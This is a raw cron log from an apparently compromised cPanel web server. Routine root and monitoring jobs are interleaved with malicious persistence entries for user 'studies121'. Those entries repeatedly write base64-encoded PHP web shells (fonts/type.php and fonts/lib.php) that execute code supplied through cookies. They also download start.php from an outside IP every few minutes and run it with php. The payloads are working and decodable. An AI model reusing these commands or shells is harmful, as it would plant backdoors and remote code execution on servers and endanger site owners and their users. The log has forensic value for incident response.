Sep 12 10:44:02 ip-184-168-122-23 CROND[11826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:44:02 ip-184-168-122-23 CROND[11827]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:45:02 ip-184-168-122-23 CROND[11935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:45:02 ip-184-168-122-23 CROND[11937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:45:02 ip-184-168-122-23 CROND[11939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:45:02 ip-184-168-122-23 CROND[11941]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:45:02 ip-184-168-122-23 CROND[11942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:45:02 ip-184-168-122-23 CROND[11940]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:46:01 ip-184-168-122-23 CROND[12031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:46:01 ip-184-168-122-23 CROND[12033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:46:01 ip-184-168-122-23 CROND[12035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:46:01 ip-184-168-122-23 CROND[12038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:46:01 ip-184-168-122-23 CROND[12034]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 10:46:01 ip-184-168-122-23 CROND[12036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:46:01 ip-184-168-122-23 CROND[12037]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 10:47:01 ip-184-168-122-23 CROND[12254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:47:01 ip-184-168-122-23 CROND[12255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:47:01 ip-184-168-122-23 CROND[12256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:47:01 ip-184-168-122-23 CROND[12259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:48:01 ip-184-168-122-23 CROND[12343]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:48:01 ip-184-168-122-23 CROND[12344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:48:01 ip-184-168-122-23 CROND[12342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:48:01 ip-184-168-122-23 CROND[12345]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:48:01 ip-184-168-122-23 CROND[12346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:49:01 ip-184-168-122-23 CROND[12438]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 10:49:01 ip-184-168-122-23 CROND[12441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:49:01 ip-184-168-122-23 CROND[12439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:49:01 ip-184-168-122-23 CROND[12442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:49:01 ip-184-168-122-23 CROND[12440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:50:01 ip-184-168-122-23 CROND[12555]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 10:50:01 ip-184-168-122-23 CROND[12556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:50:01 ip-184-168-122-23 CROND[12559]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:50:01 ip-184-168-122-23 CROND[12558]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:50:01 ip-184-168-122-23 CROND[12564]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 10:50:01 ip-184-168-122-23 CROND[12563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:50:01 ip-184-168-122-23 CROND[12567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:50:01 ip-184-168-122-23 CROND[12566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:50:01 ip-184-168-122-23 CROND[12568]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:51:01 ip-184-168-122-23 CROND[12686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:51:01 ip-184-168-122-23 CROND[12688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:51:01 ip-184-168-122-23 CROND[12689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:51:01 ip-184-168-122-23 CROND[12690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:52:01 ip-184-168-122-23 CROND[12795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:52:01 ip-184-168-122-23 CROND[12797]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:52:01 ip-184-168-122-23 CROND[12799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:52:01 ip-184-168-122-23 CROND[12801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:52:01 ip-184-168-122-23 CROND[12798]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:53:01 ip-184-168-122-23 CROND[12968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:53:01 ip-184-168-122-23 CROND[12970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:53:01 ip-184-168-122-23 CROND[12969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:53:01 ip-184-168-122-23 CROND[12971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:54:01 ip-184-168-122-23 CROND[13069]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:54:01 ip-184-168-122-23 CROND[13070]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:54:01 ip-184-168-122-23 CROND[13073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:54:01 ip-184-168-122-23 CROND[13075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:54:01 ip-184-168-122-23 CROND[13077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:55:01 ip-184-168-122-23 CROND[13205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:55:01 ip-184-168-122-23 CROND[13210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:55:01 ip-184-168-122-23 CROND[13208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:55:01 ip-184-168-122-23 CROND[13209]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:55:01 ip-184-168-122-23 CROND[13211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:55:01 ip-184-168-122-23 CROND[13212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:56:01 ip-184-168-122-23 CROND[13298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:56:01 ip-184-168-122-23 CROND[13301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
